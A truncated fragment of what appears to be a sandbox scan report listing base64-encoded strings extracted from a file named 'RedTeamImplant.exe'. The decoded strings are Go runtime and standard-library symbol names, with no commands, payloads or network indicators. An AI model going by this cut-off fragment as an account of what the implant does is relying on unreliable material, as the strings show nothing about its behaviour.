Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xpY2VzLlNvcnRTdGFibGVGdW5jW2dvLnNoYXBlLltdaW50ZXJuYWwvZm10c29ydC5LZXlWYWx1ZSxnby5zaGFwZS5zdHJ1Y3QgeyBLZXkgcmVmbGVjdC5WYWx1ZTsgVmFsdWUgcmVmbGVjdC5WYWx1ZSB9XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xpY2VzLnN0YWJsZUNtcEZ1bmNbZ28uc2hhcGUuc3RydWN0IHsgS2V5IHJlZmxlY3QuVmFsdWU7IFZhbHVlIHJlZmxlY3QuVmFsdWUgfV0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xpY2VzLnN3YXBSYW5nZUNtcEZ1bmNbZ28uc2hhcGUuc3RydWN0IHsgS2V5IHJlZmxlY3QuVmFsdWU7IFZhbHVlIHJlZmxlY3QuVmFsdWUgfV0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xpY2VzLnN5bU1lcmdlQ21wRnVuY1tnby5zaGFwZS5zdHJ1Y3QgeyBLZXkgcmVmbGVjdC5WYWx1ZTsgVmFsdWUgcmVmbGVjdC5WYWx1ZSB9XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xvdHNPZmZzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c21hbGxBbGxvY0NvdW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c21hbGxGcmVlQ291bnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c25hcHNob3RBbGxw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U29ja2V0VHlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3BhbmNsYXNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3BhcnNlT2Jqc1NjYW5uZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3BlY2lhbEZpbmRTcGxpY2VQb2ludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3BlY2lhbGxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3BlY2lmaWVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3JjU3RhY2tPZmZzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3JjU3RhY2tTaXpl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$d7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$d8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhY2tBc3NpZ24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhY2tCeXRlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhY2tjYWNoZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhY2tDYWxsQXJnc1NpemU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhY2tndWFyZDA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhY2tndWFyZDE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhY2tMb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhY2tQdHJz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhY2tTY2Fu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhY2tzU3lz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhcnRBZGRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhcnRMaW5l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhcnRUaWNrcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhdHVzVHJhY2Vk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RhdHVzV2FzVHJhY2Vk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3RkZXJyUGlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3RkaW5QaXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3Rkb3V0UGlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RlcHNGb3JWYWx1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3RvcFNpZ25hbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3RvcmVOb1dC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3RvcmVSZWxlYXNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RvcmVTbG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi4oKmRlY2ltYWwpLkFzc2lnbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi4oKmRlY2ltYWwpLlJvdW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi4oKmRlY2ltYWwpLlJvdW5kRG93bg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi4oKmRlY2ltYWwpLlJvdW5kVXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi4oKmRlY2ltYWwpLlNoaWZ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5hcHBlbmRFc2NhcGVkUnVuZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5BcHBlbmRGbG9hdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5BcHBlbmRRdW90ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5hcHBlbmRRdW90ZWRSdW5lV2l0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5hcHBlbmRRdW90ZWRXaXRo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5BcHBlbmRRdW90ZVJ1bmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5BcHBlbmRRdW90ZVJ1bmVUb0FTQ0lJ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5BcHBlbmRRdW90ZVRvQVNDSUk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5iaWdGdG9h","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5ic2VhcmNoW2dvLnNoYXBlLltddWludDE2LGdvLnNoYXBlLnVpbnQxNl0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5ic2VhcmNoW2dvLnNoYXBlLltddWludDMyLGdvLnNoYXBlLnVpbnQzMl0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5DYW5CYWNrcXVvdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5jb21wdXRlQm91bmRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5kaXZpc2libGVCeVBvd2VyNQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5kaXZtb2QxZTk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5mbXRC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5mbXRF","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5mbXRG","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5mbXRY","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5mb3JtYXRCaXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5mb3JtYXREZWNpbWFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5mb3JtYXREaWdpdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5Gb3JtYXRJbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5nZW5lcmljRnRvYQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5pc0luR3JhcGhpY0xpc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5pc1Bvd2VyT2ZUd28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5Jc1ByaW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5JdG9h","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5sZWZ0U2hpZnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5sb3dlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5tdWxCeUxvZzEwTG9nMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5tdWxCeUxvZzJMb2cxMA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5tdWx0MTI4Yml0UG93MTA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5tdWx0NjRiaXRQb3cxMA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5wcmVmaXhJc0xlc3NUaGFu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5RdW90ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5xdW90ZVdpdGg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5yaWdodFNoaWZ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5yb3VuZFNob3J0ZXN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5yeXVEaWdpdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5yeXVEaWdpdHMzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5yeXVGdG9hRml4ZWQzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5yeXVGdG9hRml4ZWQ2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5yeXVGdG9hU2hvcnRlc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5zaG91bGRSb3VuZFVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi5zbWFsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyY29udi50cmlt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5nRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5nTm9uU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy4oKmFzY2lpU2V0KS5jb250YWlucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy4oKkJ1aWxkZXIpLkNhcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy4oKkJ1aWxkZXIpLmNvcHlDaGVjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy4oKkJ1aWxkZXIpLmdyb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy4oKkJ1aWxkZXIpLkdyb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy4oKkJ1aWxkZXIpLkxlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy4oKkJ1aWxkZXIpLlN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy4oKkJ1aWxkZXIpLldyaXRlQnl0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy4oKkJ1aWxkZXIpLldyaXRlUnVuZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy4oKkJ1aWxkZXIpLldyaXRlU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5Db250YWluc0FueQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5Db3VudA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5DdXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5FcXVhbEZvbGQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5leHBsb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5nZW5TcGxpdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5IYXNQcmVmaXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5JbmRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5JbmRleEFueQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5JbmRleEJ5dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5JbmRleFJ1bmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5Kb2lu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RyaW5ncy5MYXN0SW5kZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"fil